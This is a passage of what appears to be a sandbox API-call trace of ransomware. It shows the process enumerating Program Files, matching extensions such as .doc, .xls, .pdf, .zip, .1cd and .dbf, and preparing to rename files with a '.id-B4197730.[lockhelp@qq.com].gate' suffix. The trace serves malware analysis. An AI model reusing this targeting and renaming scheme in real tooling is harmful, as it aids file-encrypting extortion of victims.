-1 [0321.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.574] lstrlenW (lpString=".1cd") returned 4 [0321.574] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0321.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.574] lstrlenW (lpString=".jpg") returned 4 [0321.574] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0321.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.574] lstrlenW (lpString=".doc") returned 4 [0321.574] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0321.574] lstrlenW (lpString=".docx") returned 5 [0321.574] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0321.574] lstrlenW (lpString=".pdf") returned 4 [0321.574] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0321.574] lstrlenW (lpString=".xls") returned 4 [0321.574] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0321.574] lstrlenW (lpString=".xlsx") returned 5 [0321.574] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0321.574] lstrlenW (lpString=".ppt") returned 4 [0321.574] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0321.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.574] lstrlenW (lpString=".zip") returned 4 [0321.575] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0321.575] lstrlenW (lpString=".rar") returned 4 [0321.575] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0321.575] lstrlenW (lpString=".bz2") returned 4 [0321.575] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0321.575] lstrlenW (lpString=".7z") returned 3 [0321.575] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0321.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.575] lstrlenW (lpString=".dbf") returned 4 [0321.575] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0321.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.575] lstrlenW (lpString=".1cd") returned 4 [0321.575] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0321.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.575] lstrlenW (lpString=".jpg") returned 4 [0321.575] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0321.575] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.575] lstrlenW (lpString="vcruntime140.dll") returned 16 [0321.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0321.576] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=88752) returned 1 [0321.576] CloseHandle (hObject=0x348) returned 1 [0321.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0321.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.576] lstrlenW (lpString=".doc") returned 4 [0321.576] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.576] lstrlenW (lpString=".docx") returned 5 [0321.576] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.576] lstrlenW (lpString=".pdf") returned 4 [0321.576] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.576] lstrlenW (lpString=".xls") returned 4 [0321.577] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.577] lstrlenW (lpString=".xlsx") returned 5 [0321.577] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.577] lstrlenW (lpString=".ppt") returned 4 [0321.577] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.577] lstrlenW (lpString=".zip") returned 4 [0321.577] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.577] lstrlenW (lpString=".rar") returned 4 [0321.577] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.577] lstrlenW (lpString=".bz2") returned 4 [0321.577] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.577] lstrlenW (lpString=".7z") returned 3 [0321.577] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.577] lstrlenW (lpString=".dbf") returned 4 [0321.577] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.577] lstrlenW (lpString=".1cd") returned 4 [0321.577] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.577] lstrlenW (lpString=".jpg") returned 4 [0321.577] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.577] lstrlenW (lpString=".doc") returned 4 [0321.577] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.577] lstrlenW (lpString=".docx") returned 5 [0321.578] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.578] lstrlenW (lpString=".pdf") returned 4 [0321.578] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.578] lstrlenW (lpString=".xls") returned 4 [0321.578] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.578] lstrlenW (lpString=".xlsx") returned 5 [0321.578] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.578] lstrlenW (lpString=".ppt") returned 4 [0321.578] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.578] lstrlenW (lpString=".zip") returned 4 [0321.578] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.578] lstrlenW (lpString=".rar") returned 4 [0321.578] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.578] lstrlenW (lpString=".bz2") returned 4 [0321.578] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.578] lstrlenW (lpString=".7z") returned 3 [0321.578] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.578] lstrlenW (lpString=".dbf") returned 4 [0321.578] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.578] lstrlenW (lpString=".1cd") returned 4 [0321.578] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0321.578] lstrlenW (lpString=".jpg") returned 4 [0321.578] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.579] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.579] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0321.579] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10752) returned 1 [0321.579] CloseHandle (hObject=0x348) returned 1 [0321.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0321.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.580] lstrlenW (lpString=".doc") returned 4 [0321.580] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.580] lstrlenW (lpString=".docx") returned 5 [0321.580] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.580] lstrlenW (lpString=".pdf") returned 4 [0321.580] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.580] lstrlenW (lpString=".xls") returned 4 [0321.580] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.580] lstrlenW (lpString=".xlsx") returned 5 [0321.580] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.580] lstrlenW (lpString=".ppt") returned 4 [0321.580] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.580] lstrlenW (lpString=".zip") returned 4 [0321.580] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.580] lstrlenW (lpString=".rar") returned 4 [0321.580] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.580] lstrlenW (lpString=".bz2") returned 4 [0321.580] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.580] lstrlenW (lpString=".7z") returned 3 [0321.580] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.580] lstrlenW (lpString=".dbf") returned 4 [0321.580] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.581] lstrlenW (lpString=".1cd") returned 4 [0321.581] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.581] lstrlenW (lpString=".jpg") returned 4 [0321.581] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.581] lstrlenW (lpString=".doc") returned 4 [0321.581] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.581] lstrlenW (lpString=".docx") returned 5 [0321.581] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.581] lstrlenW (lpString=".pdf") returned 4 [0321.581] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.581] lstrlenW (lpString=".xls") returned 4 [0321.581] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.581] lstrlenW (lpString=".xlsx") returned 5 [0321.581] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.581] lstrlenW (lpString=".ppt") returned 4 [0321.581] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.581] lstrlenW (lpString=".zip") returned 4 [0321.581] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.581] lstrlenW (lpString=".rar") returned 4 [0321.581] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.581] lstrlenW (lpString=".bz2") returned 4 [0321.581] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.581] lstrlenW (lpString=".7z") returned 3 [0321.581] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.582] lstrlenW (lpString=".dbf") returned 4 [0321.582] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.582] lstrlenW (lpString=".1cd") returned 4 [0321.582] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0321.582] lstrlenW (lpString=".jpg") returned 4 [0321.582] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.582] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.582] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0321.582] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10752) returned 1 [0321.582] CloseHandle (hObject=0x348) returned 1 [0321.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0321.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.583] lstrlenW (lpString=".doc") returned 4 [0321.583] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.583] lstrlenW (lpString=".docx") returned 5 [0321.583] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.583] lstrlenW (lpString=".pdf") returned 4 [0321.583] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.583] lstrlenW (lpString=".xls") returned 4 [0321.583] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.583] lstrlenW (lpString=".xlsx") returned 5 [0321.583] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.583] lstrlenW (lpString=".ppt") returned 4 [0321.583] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.583] lstrlenW (lpString=".zip") returned 4 [0321.583] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.583] lstrlenW (lpString=".rar") returned 4 [0321.583] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.583] lstrlenW (lpString=".bz2") returned 4 [0321.583] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.583] lstrlenW (lpString=".7z") returned 3 [0321.583] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.583] lstrlenW (lpString=".dbf") returned 4 [0321.583] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.583] lstrlenW (lpString=".1cd") returned 4 [0321.583] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.583] lstrlenW (lpString=".jpg") returned 4 [0321.583] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.584] lstrlenW (lpString=".doc") returned 4 [0321.584] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.584] lstrlenW (lpString=".docx") returned 5 [0321.584] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.584] lstrlenW (lpString=".pdf") returned 4 [0321.584] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.584] lstrlenW (lpString=".xls") returned 4 [0321.584] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.584] lstrlenW (lpString=".xlsx") returned 5 [0321.584] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.584] lstrlenW (lpString=".ppt") returned 4 [0321.584] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.584] lstrlenW (lpString=".zip") returned 4 [0321.584] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.584] lstrlenW (lpString=".rar") returned 4 [0321.584] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.584] lstrlenW (lpString=".bz2") returned 4 [0321.584] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.584] lstrlenW (lpString=".7z") returned 3 [0321.584] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.584] lstrlenW (lpString=".dbf") returned 4 [0321.584] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.584] lstrlenW (lpString=".1cd") returned 4 [0321.584] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0321.584] lstrlenW (lpString=".jpg") returned 4 [0321.584] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.585] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.585] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0321.585] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9728) returned 1 [0321.585] CloseHandle (hObject=0x348) returned 1 [0321.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0321.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.585] lstrlenW (lpString=".doc") returned 4 [0321.585] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.585] lstrlenW (lpString=".docx") returned 5 [0321.585] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.585] lstrlenW (lpString=".pdf") returned 4 [0321.585] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.585] lstrlenW (lpString=".xls") returned 4 [0321.585] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.585] lstrlenW (lpString=".xlsx") returned 5 [0321.585] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.585] lstrlenW (lpString=".ppt") returned 4 [0321.586] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.586] lstrlenW (lpString=".zip") returned 4 [0321.586] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.586] lstrlenW (lpString=".rar") returned 4 [0321.586] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.586] lstrlenW (lpString=".bz2") returned 4 [0321.586] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.586] lstrlenW (lpString=".7z") returned 3 [0321.586] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.586] lstrlenW (lpString=".dbf") returned 4 [0321.586] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.586] lstrlenW (lpString=".1cd") returned 4 [0321.586] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.586] lstrlenW (lpString=".jpg") returned 4 [0321.586] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.586] lstrlenW (lpString=".doc") returned 4 [0321.586] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.586] lstrlenW (lpString=".docx") returned 5 [0321.586] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.586] lstrlenW (lpString=".pdf") returned 4 [0321.586] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.587] lstrlenW (lpString=".xls") returned 4 [0321.587] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.587] lstrlenW (lpString=".xlsx") returned 5 [0321.587] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.587] lstrlenW (lpString=".ppt") returned 4 [0321.587] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.587] lstrlenW (lpString=".zip") returned 4 [0321.587] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.587] lstrlenW (lpString=".rar") returned 4 [0321.587] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.587] lstrlenW (lpString=".bz2") returned 4 [0321.587] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.587] lstrlenW (lpString=".7z") returned 3 [0321.587] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.587] lstrlenW (lpString=".dbf") returned 4 [0321.587] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.587] lstrlenW (lpString=".1cd") returned 4 [0321.587] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0321.587] lstrlenW (lpString=".jpg") returned 4 [0321.587] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.587] 